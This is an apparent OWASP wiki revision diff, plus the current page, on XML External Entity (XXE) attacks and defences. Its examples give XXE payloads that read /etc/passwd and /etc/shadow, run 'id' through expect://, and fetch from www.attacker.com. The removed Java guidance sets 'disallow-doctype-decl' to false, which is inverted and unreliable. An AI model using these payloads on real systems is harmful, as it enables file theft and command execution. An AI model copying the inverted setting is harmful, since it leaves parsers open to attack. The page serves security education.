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Difference between revisions of "XML External Entity (XXE) Processing"

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(SaxParserFactory / XMLReader example)
m (Disclosing /etc/passwd or other targeted files: remove extra space)
 
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==Description==
 
==Description==
  
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts.  
+
An <i>XML External Entity</i> attack is a type of attack against an application that parses XML input. This attack occurs when <b>XML input containing a reference to an external entity is processed by a weakly configured XML parser</b>. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
  
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.
+
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, [http://www.w3.org/TR/REC-xml/#sec-external-ent external general/parameter parsed entity] often shortened to '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.
  
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
+
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a [[CSRF]] attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
 +
 
 +
Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server that he/she controls.
  
 
==Risk Factors==
 
==Risk Factors==
Line 26: Line 28:
  
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
+
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY >
+
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
+
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
  
===Disclosing /etc/passwd or other targeted files===
+
==Remote Code Execution==
 +
 +
If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let’s modify the payload
  
  '''<nowiki>  <?xml version="1.0" encoding="ISO-8859-1"?>
+
  '''<?xml version="1.0" encoding="ISO-8859-1"?>'''
  <!DOCTYPE foo [
+
  ''' <!DOCTYPE foo [ <!ELEMENT foo ANY >'''
  <!ELEMENT foo ANY >
+
'''  <!ENTITY xxe SYSTEM "expect://id" >]>'''
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
+
  '''  <creds>'''
 +
  '''      <user>&xxe;</user>'''
 +
  '''      <pass>mypass</pass>'''
 +
  '''  </creds>'''
  
<?xml version="1.0" encoding="ISO-8859-1"?>
+
===Disclosing /etc/passwd or other targeted files===
<!DOCTYPE foo [ 
 
  <!ELEMENT foo ANY >
 
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  
  <?xml version="1.0" encoding="ISO-8859-1"?>
+
  ''' <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [   
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  <!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
+
    <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
+
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
+
   
<?xml version="1.0" encoding="ISO-8859-1"?>
+
  <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
+
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY >
+
    <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''
+
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 +
 +
  <?xml version="1.0" encoding="ISO-8859-1"?>
 +
  <!DOCTYPE foo [ 
 +
    <!ELEMENT foo ANY >
 +
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 +
 +
  <?xml version="1.0" encoding="ISO-8859-1"?>
 +
  <!DOCTYPE foo [   
 +
    <!ELEMENT foo ANY >
 +
    <!ENTITY xxe SYSTEM "<nowiki>http://www.attacker.com/text.txt</nowiki>" >]><foo>&xxe;</foo>'''
  
 
==Related [[Attacks]]==
 
==Related [[Attacks]]==
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Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.
 
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.
  
Testing ought to occur with specific implementations for any controls documented below.
+
Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the [[XML External Entity (XXE) Prevention Cheat Sheet]].
 
 
===C/C++===
 
 
 
====libxml2====
 
 
 
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:
 
 
 
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
 
* XML_PARSE_DTDLOAD: Load the external DTD
 
 
 
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.
 
 
 
===Java===
 
 
 
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.
 
 
 
====JAXP DOM and DocumentBuilderFactory====
 
 
 
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.
 
 
 
For a syntax highlighted code snippet, click [https://gist.github.com/anonymous/5599156 here].
 
 
 
'''<nowiki>import javax.xml.parsers.DocumentBuilderFactory;
 
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
 
...
 
 
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 
    try {
 
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
 
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
 
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
 
 
      // Xerces 2 only - http://xerces.apache.org/xerces-j/features.html#external-general-entities
 
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
 
 
      // remaining parser logic
 
      ...
 
 
      } catch (ParserConfigurationException e) {
 
        // Tried an unsupported feature. This may indicate that a different XML processor is being
 
        // used. If so, then its features need to be researched and applied correctly.
 
        // For example, using the Xerces 2 feature above on a Xerces 1 processor will throw this
 
        // exception.
 
 
      } catch ... {
 
      }
 
    ...</nowiki>'''
 
 
 
 
 
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:
 
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to <code>false</code>.
 
 
 
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:
 
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to <code>false</code>.
 
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to <code>false</code>.
 
 
 
====JAXP SAX and SAXParserFactory====
 
 
 
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.
 
 
 
For a syntax highlighted code snippet, click [https://gist.github.com/jonpasski/5599721 here].
 
 
 
'''<nowiki>import javax.xml.parsers.ParserConfigurationException;  // catching unsupported features
 
import javax.xml.parsers.SAXParser;
 
import javax.xml.parsers.SAXParserFactory;
 
 
 
import org.xml.sax.SAXNotRecognizedException;  // catching unknown features
 
import org.xml.sax.SAXNotSupportedException;  // catching known but unsupported features
 
import org.xml.sax.XMLReader;
 
 
 
...
 
 
 
    SAXParserFactory spf = SAXParserFactory.newInstance();
 
    SAXParser saxParser = spf.newSAXParser();
 
    XMLReader reader = saxParser.getXMLReader();
 
 
 
    try {
 
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
 
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
 
 
 
      // Using the SAXParserFactory's setFeature
 
      spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
 
      // Using the XMLReader's setFeature
 
      reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
 
 
 
 
 
      // Xerces 2 only - http://xerces.apache.org/xerces-j/features.html#external-general-entities
 
      spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
 
 
 
      // remaining parser logic
 
      ...
 
 
 
    } catch (ParserConfigurationException e) {
 
      // Tried an unsupported feature.
 
 
 
    } catch (SAXNotRecognizedException e) {
 
      // Tried an unknown feature.
 
 
 
    } catch (SAXNotSupportedException e) {
 
      // Tried a feature known to the parser but unsupported.
 
 
 
    } catch ... {
 
     
 
    }
 
...
 
</nowiki>'''
 
 
 
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:
 
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to <code>false</code>.
 
 
 
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:
 
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to <code>false</code>.
 
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to <code>false</code>.
 
 
 
====StAX and XMLInputFactory====
 
 
 
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.
 
 
 
Disallow Resolving of External Entities:
 
* Set the "javax.xml.stream.isSupportingExternalEntities" property to <code>false</code>.
 
 
 
===iOS===
 
 
 
====libxml2====
 
 
 
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).
 
 
 
====NSXMLDocument====
 
 
 
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:
 
 
 
* iOS4 and earlier: All external entities are loaded by default.
 
 
 
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)
 
 
 
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.
 
  
 
==References==
 
==References==
  
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]
+
* OWASP [[XML External Entity (XXE) Prevention Cheat Sheet]]
 +
* [http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques]
 +
* [http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf Precursor presentation of above paper - at OWASP AppSec USA 2013]
 
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]
 
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]
 
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]
 
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]
+
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010]
 
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]
 
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]
 
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]
 
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]
 
+
* [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx XML Denial of Service Attacks and Defenses (in .NET)]
 +
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]
  
 
[[Category:API_Abuse]]
 
[[Category:API_Abuse]]

Latest revision as of 01:46, 15 October 2017

This is a Vulnerability. To view all vulnerabilities, please see the Vulnerability Category page.

Last revision (mm/dd/yy): 10/15/2017

Vulnerabilities Table of Contents

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, external general/parameter parsed entity often shortened to external entity, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.

Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server that he/she controls.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD.

Examples

The examples below are from Testing for XML Injection (OWASP-DV-008).

Accessing a local resource that may not return

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Remote Code Execution

If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let’s modify the payload

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>

Disclosing /etc/passwd or other targeted files

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Related Attacks

Related Vulnerabilities

Related Controls

Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.

Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the XML External Entity (XXE) Prevention Cheat Sheet.

References